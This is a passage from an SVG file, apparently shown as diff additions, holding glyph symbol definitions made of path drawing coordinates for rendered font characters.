-1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 0.53125 -0.625 C 0.53125 -0.875 0.597656 -1.070312 0.734375 -1.21875 C 0.878906 -1.363281 1.066406 -1.4375 1.296875 -1.4375 C 1.546875 -1.4375 1.75 -1.332031 1.90625 -1.125 C 2.070312 -0.925781 2.15625 -0.601562 2.15625 -0.15625 C 2.15625 0.164062 2.113281 0.453125 2.03125 0.703125 C 1.945312 0.960938 1.835938 1.191406 1.703125 1.390625 C 1.578125 1.585938 1.4375 1.75 1.28125 1.875 C 1.125 2 0.972656 2.09375 0.828125 2.15625 L 0.453125 1.65625 C 0.578125 1.59375 0.695312 1.503906 0.8125 1.390625 C 0.925781 1.273438 1.019531 1.148438 1.09375 1.015625 C 1.164062 0.878906 1.222656 0.734375 1.265625 0.578125 C 1.304688 0.429688 1.328125 0.28125 1.328125 0.125 C 1.128906 0.1875 0.945312 0.148438 0.78125 0.015625 C 0.613281 -0.117188 0.53125 -0.332031 0.53125 -0.625 Z M 0.53125 -0.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 1.8125 -7.328125 L 1.8125 -2.84375 C 1.8125 -2.101562 1.890625 -1.570312 2.046875 -1.25 C 2.203125 -0.9375 2.476562 -0.78125 2.875 -0.78125 C 3.082031 -0.78125 3.265625 -0.820312 3.421875 -0.90625 C 3.585938 -0.988281 3.734375 -1.097656 3.859375 -1.234375 C 3.984375 -1.367188 4.09375 -1.523438 4.1875 -1.703125 C 4.289062 -1.878906 4.375 -2.0625 4.4375 -2.25 L 4.4375 -7.328125 L 5.484375 -7.328125 L 5.484375 -2.078125 C 5.484375 -1.734375 5.492188 -1.367188 5.515625 -0.984375 C 5.546875 -0.609375 5.585938 -0.28125 5.640625 0 L 4.890625 0 L 4.625 -1.03125 L 4.578125 -1.03125 C 4.410156 -0.707031 4.171875 -0.425781 3.859375 -0.1875 C 3.546875 0.0507812 3.15625 0.171875 2.6875 0.171875 C 2.375 0.171875 2.097656 0.128906 1.859375 0.046875 C 1.628906 -0.0234375 1.429688 -0.160156 1.265625 -0.359375 C 1.097656 -0.566406 0.972656 -0.847656 0.890625 -1.203125 C 0.804688 -1.566406 0.765625 -2.023438 0.765625 -2.578125 L 0.765625 -7.328125 Z M 1.8125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.253906 -9.328125 1.515625 -9.734375 C 1.785156 -10.148438 2.238281 -10.359375 2.875 -10.359375 C 3.125 -10.359375 3.351562 -10.34375 3.5625 -10.3125 C 3.769531 -10.28125 3.984375 -10.21875 4.203125 -10.125 L 3.9375 -9.21875 C 3.757812 -9.289062 3.59375 -9.335938 3.4375 -9.359375 C 3.289062 -9.390625 3.144531 -9.40625 3 -9.40625 C 2.8125 -9.40625 2.660156 -9.363281 2.546875 -9.28125 C 2.441406 -9.207031 2.363281 -9.085938 2.3125 -8.921875 C 2.257812 -8.753906 2.222656 -8.539062 2.203125 -8.28125 C 2.191406 -8.019531 2.1875 -7.703125 2.1875 -7.328125 L 3.71875 -7.328125 L 3.71875 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 Z M 0.234375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-30">
+<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-31">
+<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-32">
+<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-33">
+<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-34">
+<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-35">
+<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-36">
+<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-37">
+<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-38">
+<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-39">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.453125 C 4.625 -5.140625 4.539062 -5.660156 4.375 -6.015625 C 4.21875 -6.378906 3.898438 -6.5625 3.421875 -6.5625 C 3.078125 -6.5625 2.765625 -6.4375 2.484375 -6.1875 C 2.203125 -5.945312 2.015625 -5.640625 1.921875 -5.265625 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.640625 L 1.96875 -6.640625 C 2.164062 -6.898438 2.40625 -7.109375 2.6875 -7.265625 C 2.976562 -7.429688 3.335938 -7.515625 3.765625 -7.515625 C 4.085938 -7.515625 4.367188 -7.46875 4.609375 -7.375 C 4.847656 -7.289062 5.046875 -7.140625 5.203125 -6.921875 C 5.359375 -6.710938 5.472656 -6.425781 5.546875 -6.0625 C 5.628906 -5.707031 5.671875 -5.265625 5.671875 -4.734375 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-40">
+<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 